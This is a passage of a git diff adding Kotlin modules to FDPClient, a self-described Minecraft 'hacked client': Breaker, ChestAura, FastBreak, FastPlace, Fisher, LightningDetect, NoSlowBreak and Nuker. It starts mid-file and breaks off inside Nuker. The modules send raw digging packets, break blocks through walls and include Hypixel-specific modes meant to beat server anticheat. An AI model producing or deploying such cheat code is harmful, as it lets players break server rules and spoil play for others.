!throughWallsValue.equals("Hypixel")) { + val eyes = mc.thePlayer.getPositionEyes(1F) + val blockPos = mc.theWorld.rayTraceBlocks(eyes, rotations.vec, false, + false, true).blockPos + + if (blockPos != null && blockPos.getBlock() !is BlockAir) { + if (currentPos.x != blockPos.x || currentPos.y != blockPos.y || currentPos.z != blockPos.z) { + surroundings = true + } + + pos = blockPos + currentPos = pos ?: return + rotations = RotationUtils.faceBlock(currentPos) ?: return + } + } + + + + // Reset switch timer when position changed + if (oldPos != null && oldPos != currentPos) { + currentDamage = 0F + switchTimer.reset() + } + + oldPos = currentPos + + if (!switchTimer.hasTimePassed(switchValue.get().toLong())) { + return + } + + // Block hit delay + if (blockHitDelay > 0) { + blockHitDelay-- + return + } + + // Face block + if (rotationsValue.get() && !hypixelValue.get()) { + RotationUtils.setTargetRotation(rotations.rotation) + } + + when { + // Destory block + actionValue.equals("destroy") || surroundings || !isRealBlock -> { + + // Auto Tool + if (tools.get()) + switchSlot(currentPos) + + // Break block + if (instantValue.get()) { + // CivBreak style block breaking + mc.netHandler.addToSendQueue(C07PacketPlayerDigging(C07PacketPlayerDigging.Action.START_DESTROY_BLOCK, + currentPos, EnumFacing.DOWN)) + if (swingValue.equals("Normal")) { + mc.thePlayer.swingItem() + } else if (swingValue.equals("Packet")) { + mc.netHandler.addToSendQueue(C0APacketAnimation()) + } + mc.netHandler.addToSendQueue(C07PacketPlayerDigging(C07PacketPlayerDigging.Action.STOP_DESTROY_BLOCK, + currentPos, EnumFacing.DOWN)) + currentDamage = 0F + return + } + + // Minecraft block breaking + val block = currentPos.getBlock() ?: return + + if (currentDamage == 0F) { + mc.netHandler.addToSendQueue(C07PacketPlayerDigging(C07PacketPlayerDigging.Action.START_DESTROY_BLOCK, + currentPos, EnumFacing.DOWN)) + + if (mc.thePlayer.capabilities.isCreativeMode || + block.getPlayerRelativeBlockHardness(mc.thePlayer, mc.theWorld, pos) >= 1.0F) { + if (swingValue.equals("Normal")) { + mc.thePlayer.swingItem() + } else if (swingValue.equals("Packet")) { + mc.netHandler.addToSendQueue(C0APacketAnimation()) + } + mc.playerController.onPlayerDestroyBlock(pos, EnumFacing.DOWN) + + currentDamage = 0F + pos = null + return + } + } + + if (hypixelValue.get()) { + mc.netHandler.addToSendQueue(C0APacketAnimation()) + RotationUtils.setTargetRotation(rotations.rotation) + } + + if (!hypixelValue.get()) { + if (swingValue.equals("Normal")) { + mc.thePlayer.swingItem() + } else if (swingValue.equals("Packet")) { + mc.netHandler.addToSendQueue(C0APacketAnimation()) + } + } + + currentDamage += block.getPlayerRelativeBlockHardness(mc.thePlayer, mc.theWorld, currentPos) + mc.theWorld.sendBlockBreakProgress(mc.thePlayer.entityId, currentPos, (currentDamage * 10F).toInt() - 1) + + if (currentDamage > 1F) { + if (hypixelValue.get()) { + mc.netHandler.addToSendQueue(C0APacketAnimation()) + RotationUtils.setTargetRotation(rotations.rotation) + } + mc.netHandler.addToSendQueue(C07PacketPlayerDigging(C07PacketPlayerDigging.Action.STOP_DESTROY_BLOCK, + currentPos, EnumFacing.DOWN)) + mc.playerController.onPlayerDestroyBlock(currentPos, EnumFacing.DOWN) + mc.theWorld.setBlockState(currentPos, Blocks.air.defaultState, 11) + blockHitDelay = 4 + currentDamage = 0F + pos = null + } + } + + // Use block + actionValue.equals("use") -> { + if (mc.playerController.onPlayerRightClick(mc.thePlayer, mc.theWorld, mc.thePlayer.heldItem, pos, EnumFacing.DOWN, + Vec3(currentPos.x.toDouble(), currentPos.y.toDouble(), currentPos.z.toDouble()))) { + if (swingValue.equals("Normal")) { + mc.thePlayer.swingItem() + } else if (swingValue.equals("Packet")) { + mc.netHandler.addToSendQueue(C0APacketAnimation()) + } + blockHitDelay = 4 + currentDamage = 0F + pos = null + } + } + } + } + } + + @EventTarget + fun onRender3D(event: Render3DEvent) { + val blockPoss = pos!! + val x = blockPoss.x - mc.renderManager.renderPosX + val y = blockPoss.y - mc.renderManager.renderPosY + val z = blockPoss.z - mc.renderManager.renderPosZ + if (renderBed.get()) { + synchronized(posList) { + for (blockPos in posList) { + val bedx = blockPos.x - mc.renderManager.renderPosX + val bedy = blockPos.y - mc.renderManager.renderPosY + val bedz = blockPos.z - mc.renderManager.renderPosZ + RenderUtils.renderBox(bedx + 0.5, bedy - 0.5, bedz + 0.5, 1.0F, 1.0F, color) + GlStateManager.resetColor() + } + } + } + when (renderValue.get().lowercase()) { + "box" -> RenderUtils.drawBlockBox(pos ?: return, if (!coolDownTimer.hasTimePassed(coolDownValue.get().toLong() * 1000L)) Color.DARK_GRAY else Color.RED, false) + "outline" -> RenderUtils.drawBlockBox(pos ?: return, if (!coolDownTimer.hasTimePassed(coolDownValue.get().toLong() * 1000L)) Color.DARK_GRAY else Color.RED, true) + "2d" -> RenderUtils.draw2D(pos ?: return, if (!coolDownTimer.hasTimePassed(coolDownValue.get().toLong() * 1000L)) Color.DARK_GRAY.rgb else Color.RED.rgb, Color.BLACK.rgb) + else -> RenderUtils.drawBlockBox(pos ?: return, if (!coolDownTimer.hasTimePassed(coolDownValue.get().toLong() * 1000L)) Color.DARK_GRAY else Color.RED, false) + } + } + + @EventTarget + fun onRender2D(event: Render2DEvent) { + val sc = ScaledResolution(mc) + val width = ScaledResolution(mc).scaledWidth + val height = ScaledResolution(mc).scaledHeight + val d = DecimalFormat("0", DecimalFormatSymbols(Locale.ENGLISH)) + var damage = currentDamage + var damageTick = 0F + if (damage >= 1F) { + damage = 1F + } + if (damage == 1F) { + damageTick++ + } + if (damageTick >= 5F) { + damage = currentDamage + } + if (showProcess.get()) { + if (damage != 0F && pos != null) { + mc.fontRendererObj.drawString( + d.format(damage * 100) + "%", + width / 2F, + height / 2 + 20F, + Color.WHITE.rgb, + true + ) + } + } + if (coolDownValue.get() > 0 && !coolDownTimer.hasTimePassed(coolDownValue.get().toLong() * 1000L)) { + val timeLeft = "Cooldown: ${(coolDownTimer.hasTimeLeft(coolDownValue.get().toLong() * 1000L) / 1000L).toInt()}s" + val strWidth = Fonts.minecraftFont.getStringWidth(timeLeft) + + Fonts.minecraftFont.drawString(timeLeft, sc.scaledWidth / 2 - strWidth / 2 - 1, sc.scaledHeight / 2 - 70, 0x000000) + Fonts.minecraftFont.drawString(timeLeft, sc.scaledWidth / 2 - strWidth / 2 + 1, sc.scaledHeight / 2 - 70, 0x000000) + Fonts.minecraftFont.drawString(timeLeft, sc.scaledWidth / 2 - strWidth / 2, sc.scaledHeight / 2 - 69, 0x000000) + Fonts.minecraftFont.drawString(timeLeft, sc.scaledWidth / 2 - strWidth / 2, sc.scaledHeight / 2 - 71, 0x000000) + Fonts.minecraftFont.drawString(timeLeft, sc.scaledWidth / 2 - strWidth / 2, sc.scaledHeight / 2 - 70, -1) + } + } + + /** + * Find new target block by [targetID] + */ + private fun find(targetID: Int): BlockPos? { + val radius = rangeValue.get().toInt() + 1 + + var nearestBlockDistance = Double.MAX_VALUE + var nearestBlock: BlockPos? = null + + for (x in radius downTo -radius + 1) { + for (y in radius downTo -radius + 1) { + for (z in radius downTo -radius + 1) { + val blockPos = BlockPos(mc.thePlayer.posX.toInt() + x, mc.thePlayer.posY.toInt() + y, + mc.thePlayer.posZ.toInt() + z) + val block = getBlock(blockPos) ?: continue + + if (Block.getIdFromBlock(block) != targetID) continue + + val distance = getCenterDistance(blockPos) + if (distance > rangeValue.get()) continue + if (sortValue.equals("Distance")) { + if (nearestBlockDistance < distance) continue + } else if (sortValue.equals("XYZ")) { + if (blockPos.x + blockPos.y + blockPos.z > nearestBlockDistance) continue + } + if (!isHitable(blockPos) && !surroundingsValue.get()) continue + + if (sortValue.equals("Distance")) { + nearestBlockDistance = distance + } else if (sortValue.equals("XYZ")) { + nearestBlockDistance = (blockPos.x + blockPos.y + blockPos.z).toDouble() + } + + nearestBlock = blockPos + } + } + } + + if (ignoreFirstBlockValue.get() && nearestBlock != null) { + if (firstPos == null) { + firstPos = nearestBlock + FDPClient.hud.addNotification(Notification(name,"Found first ${getBlockName(targetID)} block at ${nearestBlock.x} ${nearestBlock.y} ${nearestBlock.z}", NotifyType.SUCCESS)) + } + if (targetID == 26 && firstPos != null && firstPosBed == null) { // bed + firstPosBed = when (true) { + (getBlock(firstPos!!.east()) != null && Block.getIdFromBlock(getBlock(firstPos!!.east())!!) == 26) -> firstPos!!.east() + (getBlock(firstPos!!.west()) != null && Block.getIdFromBlock(getBlock(firstPos!!.west())!!) == 26) -> firstPos!!.west() + (getBlock(firstPos!!.south()) != null && Block.getIdFromBlock(getBlock(firstPos!!.south())!!) == 26) -> firstPos!!.south() + (getBlock(firstPos!!.north()) != null && Block.getIdFromBlock(getBlock(firstPos!!.north())!!) == 26) -> firstPos!!.north() + true -> TODO() + false -> TODO() + } + if (firstPosBed != null) + FDPClient.hud.addNotification(Notification(name,"Found second ${getBlockName(targetID)} block at ${firstPosBed!!.x} ${firstPosBed!!.y} ${firstPosBed!!.z}", NotifyType.SUCCESS)) + } + } + return if (ignoreFirstBlockValue.get() && (firstPos == nearestBlock || firstPosBed == nearestBlock)) null else nearestBlock + } + + @EventTarget + fun onMotion(e: MotionEvent) { + if (!fastMineValue.get()) return + if (e.isPre()) { + mc.playerController.blockHitDelay = 0 + if (pos != null && boost) { + val blockState = mc.theWorld.getBlockState(pos) ?: return + damage += try { + blockState.block.getPlayerRelativeBlockHardness(mc.thePlayer, mc.theWorld, pos) * fastMineSpeed.get() + } catch (ex: Exception) { + ex.printStackTrace() + return + } + if (damage >= 1) { + try { + mc.theWorld.setBlockState(pos, Blocks.air.defaultState, 11) + } catch (ex: Exception) { + ex.printStackTrace() + return + } + PacketUtils.sendPacketNoEvent( + C07PacketPlayerDigging( + C07PacketPlayerDigging.Action.STOP_DESTROY_BLOCK, + pos, + facing + ) + ) + damage = 0f + boost = false + } + } + } + } + + /** + * Check if block is hitable (or allowed to hit through walls) + */ + private fun isHitable(blockPos: BlockPos): Boolean { + return when (throughWallsValue.get().lowercase()) { + "raycast" -> { + val eyesPos = mc.thePlayer.getEyeVec3() + val movingObjectPosition = mc.theWorld.rayTraceBlocks(eyesPos, + Vec3(blockPos.x + 0.5, blockPos.y + 0.5, blockPos.z + 0.5), false, + true, false) + + movingObjectPosition != null && movingObjectPosition.blockPos == blockPos + } + "around" -> !BlockUtils.isFullBlock(blockPos.down()) || !BlockUtils.isFullBlock(blockPos.up()) || !BlockUtils.isFullBlock(blockPos.north()) || + !BlockUtils.isFullBlock(blockPos.east()) || !BlockUtils.isFullBlock(blockPos.south()) || !BlockUtils.isFullBlock(blockPos.west()) + else -> true + } + } + + private fun switchSlot(blockPos: BlockPos) { + var bestSpeed = 1F + var bestSlot = -1 + + val block = mc.theWorld.getBlockState(blockPos).block + + for (i in 0..8) { + val item = mc.thePlayer.inventory.getStackInSlot(i) ?: continue + val speed = item.getStrVsBlock(block) + + if (speed > bestSpeed) { + bestSpeed = speed + bestSlot = i + } + } + + if (bestSlot != -1) { + mc.thePlayer.inventory.currentItem = bestSlot + } + } + + override val tag: String + get() = getBlockName(blockValue.get()) +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/world/ChestAura.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/world/ChestAura.kt new file mode 100644 index 0000000..c8ffeff --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/world/ChestAura.kt @@ -0,0 +1,148 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.world + +import net.ccbluex.liquidbounce.FDPClient +import net.ccbluex.liquidbounce.event.* +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.ccbluex.liquidbounce.features.value.FloatValue +import net.ccbluex.liquidbounce.features.value.IntegerValue +import net.ccbluex.liquidbounce.features.value.ListValue +import net.ccbluex.liquidbounce.utils.InventoryUtils +import net.ccbluex.liquidbounce.utils.Rotation +import net.ccbluex.liquidbounce.utils.RotationUtils +import net.ccbluex.liquidbounce.utils.block.BlockUtils +import net.ccbluex.liquidbounce.utils.extensions.getVec +import net.minecraft.block.BlockChest +import net.minecraft.client.gui.inventory.GuiContainer +import net.minecraft.network.play.client.C0APacketAnimation +import net.minecraft.network.play.server.S24PacketBlockAction +import net.minecraft.util.BlockPos +import net.minecraft.util.EnumFacing +import net.minecraft.util.Vec3 +import kotlin.concurrent.schedule + +@ModuleInfo(name = "ChestAura", category = ModuleCategory.WORLD) +object ChestAura : Module() { + private val rangeValue = FloatValue("Range", 5F, 1F, 6F) + private val delayValue = IntegerValue("Delay", 100, 50, 500) + private val throughWallsValue = BoolValue("ThroughWalls", true) + private val swingValue = ListValue("Swing", arrayOf("Normal", "Packet", "None"), "Normal") + private val rotationsValue = BoolValue("Rotations", true) + private val legitrotations = BoolValue("LegitRotations",true).displayable { rotationsValue.get()} + private val discoverDelayEnabledValue = BoolValue("DiscoverDelay", false) + private val discoverDelayValue = IntegerValue("DiscoverDelayValue", 200, 50, 300).displayable { discoverDelayEnabledValue.get() } + private val onlyOnGroundValue = BoolValue("OnlyOnGround", true) + private val notOpenedValue = BoolValue("NotOpened", false) + private val noCombatingValue = BoolValue("NoCombating", true) + + private var currentBlock: BlockPos? = null + private var underClick = false + private var camYaw = currentBlock + private var camPitch = currentBlock + + val clickedBlocks = mutableListOf<BlockPos>() + + @EventTarget + fun onMotion(event: MotionEvent) { + if ((onlyOnGroundValue.get() && !mc.thePlayer.onGround) || (noCombatingValue.get() && FDPClient.combatManager.inCombat)) { + return + } + + if (event.eventState == EventState.PRE) { + if (mc.currentScreen is GuiContainer) { + return + } + + val radius = rangeValue.get() + 1 + + val eyesPos = Vec3(mc.thePlayer.posX, mc.thePlayer.entityBoundingBox.minY + mc.thePlayer.getEyeHeight(), + mc.thePlayer.posZ) + + currentBlock = BlockUtils.searchBlocks(radius.toInt()) + .filter { + it.value is BlockChest && !clickedBlocks.contains(it.key) && + BlockUtils.getCenterDistance(it.key) < rangeValue.get() + } + .filter { + if (throughWallsValue.get()) { + return@filter true + } + + val blockPos = it.key + val movingObjectPosition = mc.theWorld.rayTraceBlocks(eyesPos, + blockPos.getVec(), false, true, false) + + movingObjectPosition != null && movingObjectPosition.blockPos == blockPos + } + .minByOrNull { BlockUtils.getCenterDistance(it.key) }?.key + + if (rotationsValue.get()) { + if (!legitrotations.get()) { + RotationUtils.setTargetRotation( + (RotationUtils.faceBlock(currentBlock ?: return) + ?: return).rotation + ) + } else { + Rotation( + RotationUtils.faceBlock(currentBlock ?: return)!!.rotation.yaw, RotationUtils.faceBlock( + currentBlock ?: return)!!.rotation.pitch).toPlayer(mc.thePlayer) + } + } + } else if (currentBlock != null && InventoryUtils.INV_TIMER.hasTimePassed(delayValue.get().toLong()) && !underClick) { + underClick = true + if (discoverDelayEnabledValue.get()) { + java.util.Timer().schedule(discoverDelayValue.get().toLong()) { + click() + } + } else { + click() + } + } + } + + private fun click() { + try { + if (mc.playerController.onPlayerRightClick(mc.thePlayer, mc.theWorld, mc.thePlayer.heldItem, currentBlock, + EnumFacing.DOWN, currentBlock!!.getVec())) { + if (swingValue.equals("packet")) { + mc.netHandler.addToSendQueue(C0APacketAnimation()) + } else if (swingValue.equals("normal")) { + mc.thePlayer.swingItem() + } + + clickedBlocks.add(currentBlock!!) + currentBlock = null + } + } catch (e: Exception) { + e.printStackTrace() + } + underClick = false + } + + @EventTarget + fun onPacket(event: PacketEvent) { + if (notOpenedValue.get() && event.packet is S24PacketBlockAction) { + val packet = event.packet + if (packet.blockType is BlockChest && packet.data2 == 1 && !clickedBlocks.contains(packet.blockPosition)) { + clickedBlocks.add(packet.blockPosition) + } + } + } + + @EventTarget + fun onWorld(event: WorldEvent) { + // clear blocks record when change world + clickedBlocks.clear() + } + + override fun onDisable() { + underClick = false + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/world/FastBreak.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/world/FastBreak.kt new file mode 100644 index 0000000..68d4985 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/world/FastBreak.kt @@ -0,0 +1,32 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.world + +import net.ccbluex.liquidbounce.event.EventTarget +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo +import net.ccbluex.liquidbounce.features.value.FloatValue + +@ModuleInfo(name = "FastBreak", category = ModuleCategory.WORLD) +object FastBreak : Module() { + + private val breakDamageValue = FloatValue("BreakDamage", 0.8F, 0.1F, 1F) + + @EventTarget + fun onUpdate(event: UpdateEvent) { + mc.playerController.blockHitDelay = 0 + + if (mc.playerController.curBlockDamageMP > breakDamageValue.get()) { + mc.playerController.curBlockDamageMP = 1F + } + + if (Breaker.currentDamage > breakDamageValue.get()) { + Breaker.currentDamage = 1F + } + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/world/FastPlace.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/world/FastPlace.kt new file mode 100644 index 0000000..39cdcc4 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/world/FastPlace.kt @@ -0,0 +1,30 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.world + +import net.ccbluex.liquidbounce.event.EventTarget +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.ccbluex.liquidbounce.features.value.IntegerValue +import net.minecraft.item.ItemBlock + +@ModuleInfo(name = "FastPlace", category = ModuleCategory.WORLD) +object FastPlace : Module() { + + val speedValue = IntegerValue("Speed", 0, 0, 4) + private val blockonlyValue = BoolValue("BlocksOnly", false) + @EventTarget + fun onUpdate(event: UpdateEvent) { + if (!blockonlyValue.get() || mc.thePlayer.heldItem.item is ItemBlock) { + mc.rightClickDelayTimer = speedValue.get() + } + } + override val tag: String + get() = speedValue.get().toString() +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/world/Fisher.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/world/Fisher.kt new file mode 100644 index 0000000..429b4f3 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/world/Fisher.kt @@ -0,0 +1,82 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.world + +import net.ccbluex.liquidbounce.event.EventTarget +import net.ccbluex.liquidbounce.event.PacketEvent +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo +import net.ccbluex.liquidbounce.utils.MathUtils.inRange +import net.ccbluex.liquidbounce.utils.timer.MSTimer +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.ccbluex.liquidbounce.features.value.IntegerValue +import net.ccbluex.liquidbounce.features.value.ListValue +import net.minecraft.network.play.client.C08PacketPlayerBlockPlacement +import net.minecraft.network.play.server.S12PacketEntityVelocity +import net.minecraft.network.play.server.S29PacketSoundEffect + +@ModuleInfo(name = "Fisher", category = ModuleCategory.WORLD) +object Fisher : Module() { + + + private val detectionValue = ListValue("Detection", arrayOf("Motion", "Sound"), "Sound") + private val recastValue = BoolValue("Recast", true) + private val recastDelayValue = IntegerValue("RecastDelay", 1, 0, 1000).displayable { recastValue.get() } + + private var stage = Stage.NOTHING + private val recastTimer = MSTimer() + + override fun onDisable() { + stage = Stage.NOTHING + } + + @EventTarget + fun onUpdate(event: UpdateEvent) { + if (stage == Stage.RECOVERING) { + mc.netHandler.addToSendQueue(C08PacketPlayerBlockPlacement(mc.thePlayer.heldItem)) + stage = if (recastValue.get()) { + recastTimer.reset() + Stage.RECASTING + } else { + Stage.NOTHING + } + return + } else if (stage == Stage.RECASTING) { + if (recastTimer.hasTimePassed(recastDelayValue.get().toLong())) { + mc.netHandler.addToSendQueue(C08PacketPlayerBlockPlacement(mc.thePlayer.heldItem)) + stage = Stage.NOTHING + } + } + } + + @EventTarget + fun onPacket(event: PacketEvent) { + val packet = event.packet + if (detectionValue.get() == "Sound" && packet is S29PacketSoundEffect && mc.thePlayer?.fishEntity != null + && packet.soundName == "random.splash" && packet.x.inRange(mc.thePlayer.fishEntity.posX, 1.5) && packet.z.inRange(mc.thePlayer.fishEntity.posZ, 1.5)) { + recoverFishRod() + } else if (detectionValue.get() == "Motion" && packet is S12PacketEntityVelocity && mc.thePlayer?.fishEntity != null + && packet.entityID == mc.thePlayer.fishEntity.entityId && packet.motionX == 0 && packet.motionY != 0 && packet.motionZ == 0) { + recoverFishRod() + } + } + + private fun recoverFishRod() { + if (stage != Stage.NOTHING) { + return + } + + stage = Stage.RECOVERING + } + + private enum class Stage { + NOTHING, + RECOVERING, + RECASTING + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/world/LightningDetect.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/world/LightningDetect.kt new file mode 100644 index 0000000..dc39e00 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/world/LightningDetect.kt @@ -0,0 +1,37 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.world + +import net.ccbluex.liquidbounce.FDPClient +import net.ccbluex.liquidbounce.event.EventTarget +import net.ccbluex.liquidbounce.event.PacketEvent +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo +import net.ccbluex.liquidbounce.ui.client.hud.element.elements.Notification +import net.ccbluex.liquidbounce.ui.client.hud.element.elements.NotifyType +import net.ccbluex.liquidbounce.utils.ClientUtils +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.minecraft.network.play.server.S2CPacketSpawnGlobalEntity +import java.text.DecimalFormat + +@ModuleInfo(name = "LightningDetect", category = ModuleCategory.WORLD, array = false, defaultOn = true) +object LightningDetect : Module() { + + private val debugValue = BoolValue("debug", false) + + private val decimalFormat = DecimalFormat("0.0") + + @EventTarget + fun onPacket(event: PacketEvent) { + if (event.packet is S2CPacketSpawnGlobalEntity) { + val packet = event.packet + if (packet.func_149053_g() != 1) return + if(debugValue.get()) ClientUtils.displayChatMessage("Lightning at X:${decimalFormat.format(packet.func_149051_d() / 32.0)} Y:${decimalFormat.format(packet.func_149050_e() / 32.0)} Z:${decimalFormat.format(packet.func_149049_f() / 32.0)}") + FDPClient.hud.addNotification(Notification(name, "Lightning at X:${decimalFormat.format(packet.func_149051_d() / 32.0)} Y:${decimalFormat.format(packet.func_149050_e() / 32.0)} Z:${decimalFormat.format(packet.func_149049_f() / 32.0)}", NotifyType.WARNING, time = 5000)) + } + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/world/NoSlowBreak.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/world/NoSlowBreak.kt new file mode 100644 index 0000000..7373084 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/world/NoSlowBreak.kt @@ -0,0 +1,18 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.world + +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo +import net.ccbluex.liquidbounce.features.value.BoolValue + +@ModuleInfo(name = "NoSlowBreak", category = ModuleCategory.WORLD) +object NoSlowBreak : Module() { + + val airValue = BoolValue("Air", true) + val waterValue = BoolValue("Water", false) +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/world/Nuker.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/world/Nuker.kt new file mode 100644 index 0000000..04a5fa4 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/world/Nuker.kt @@ -0,0 +1,252 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.world + +import net.ccbluex.liquidbounce.FDPClient +import net.ccbluex.liquidbounce.event.EventTarget +import net.ccbluex.liquidbounce.event.Render3DEvent +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.ccbluex.liquidbounce.features.value.FloatValue +import net.ccbluex.liquidbounce.features.value.IntegerValue +import net.ccbluex.liquidbounce.features.value.ListValue +import net.ccbluex.liquidbounce.utils.RotationUtils +import net.ccbluex.liquidbounce.utils.block.BlockUtils +import net.ccbluex.liquidbounce.utils.block.BlockUtils.getCenterDistance +import net.ccbluex.liquidbounce.utils.block.BlockUtils.searchBlocks +import net.ccbluex.liquidbounce.utils.render.RenderUtils +import net.ccbluex.liquidbounce.utils.timer.TickTimer +import net.minecraft.block.Block +import net.minecraft.block.BlockLiquid +import net.minecraft.init.Blocks +import net.minecraft.item.ItemSword +import net.minecraft.network.play.client.C07PacketPlayerDigging +import net.minecraft.util.BlockPos +import net.minecraft.util.EnumFacing +import net.minecraft.util.Vec3 +import java.awt.Color +import kotlin.math.roundToInt + +@ModuleInfo(name = "Nuker", category = ModuleCategory.OTHER) +class Nuker : Module() { + + private val radiusValue = FloatValue("Radius", 5.2F, 1F, 6F) + private val throughWallsValue = BoolValue("ThroughWalls", false) + private val priorityValue = ListValue("Priority", arrayOf("Distance", "Hardness"), "Distance") + private val rotationsValue = BoolValue("Rotations", true) + private val tools = BoolValue("Tool", false) + private val layerValue = BoolValue("Layer", false) + private val hitDelayValue = IntegerValue("HitDelay", 4, 0, 20) + private val nukeValue = IntegerValue("Nuke", 1, 1, 20) + private val nukeDelayValue = IntegerValue("NukeDelay", 1, 1, 20) + + private val attackedBlocks = arrayListOf<BlockPos>() + private var currentBlock: BlockPos? = null + private var blockHitDelay = 0 + + private var nukeTimer = TickTimer() + private var nuke = 0 + + @EventTarget + fun onUpdate(event: UpdateEvent) { + if (blockHitDelay > 0 && !FDPClient.moduleManager[FastBreak::class.java]!!.state) { + blockHitDelay-- + return + } + + nukeTimer.update() + if (nukeTimer.hasTimePassed(nukeDelayValue.get())) { + nuke = 0 + nukeTimer.reset() + } + + attackedBlocks.clear() + + val thePlayer = mc.thePlayer!! + + if (!mc.playerController.isInCreativeMode) { + val validBlocks = searchBlocks(radiusValue.get().roundToInt() + 1) + .filter { (pos, block) -> + if (getCenterDistance(pos) <= radiusValue.get() && validBlock(block)) { + if (layerValue.get() && pos.y < thePlayer.posY) { // Layer: Break all blocks above you + return@filter false + } + + if (!throughWallsValue.get()) { // ThroughWalls: Just break blocks in your sight + // Raytrace player eyes to block position (through walls check) + val eyesPos = Vec3(thePlayer.posX, thePlayer.entityBoundingBox.minY + + thePlayer.eyeHeight, thePlayer.posZ) + val blockVec = Vec3(pos.x + 0.5, pos.y + 0.5, pos.z + 0.5) + val rayTrace = mc.theWorld!!.rayTraceBlocks(eyesPos, blockVec, + false, true, false) + + // Check if block is visible + rayTrace != null && rayTrace.blockPos == pos + }else true + }else false // Bad block + }.toMutableMap() + + do{ + val (blockPos, block) = when(priorityValue.get()) { + "Distance" -> validBlocks.minByOrNull { (pos, block) -> + val distance = getCenterDistance(pos) + val safePos = BlockPos(thePlayer.posX, thePlayer.posY - 1, thePlayer.posZ) + + if (pos.x == safePos.x && safePos.y <= pos.y && pos.z == safePos.z) + Double.MAX_VALUE - distance // Last block + else + distance + } + "Hardness" -> validBlocks.maxByOrNull { (pos, block) -> + val hardness = block.getPlayerRelativeBlockHardness(thePlayer, mc.theWorld!!, pos).toDouble() + + val safePos = BlockPos(thePlayer.posX, thePlayer.posY - 1, thePlayer.posZ) + if (pos.x == safePos.x && safePos.y <= pos.y && pos.z == safePos.z) + Double.MIN_VALUE + hardness // Last block + else + hardness + } + else -> return + } ?: return + + + if (blockPos != currentBlock) + currentDamage = 0F + + // Change head rotations to next block + if (rotationsValue.get()) { + val rotation = RotationUtils.faceBlock(blockPos) ?: return // In case of a mistake. Prevent flag. + RotationUtils.setTargetRotation(rotation.rotation) + } + + // Set next target block + currentBlock = blockPos + attackedBlocks.add(blockPos) + + // Call auto tool + if (tools.get()) + switchSlot(blockPos) + + // Start block breaking + if (currentDamage == 0F) { + 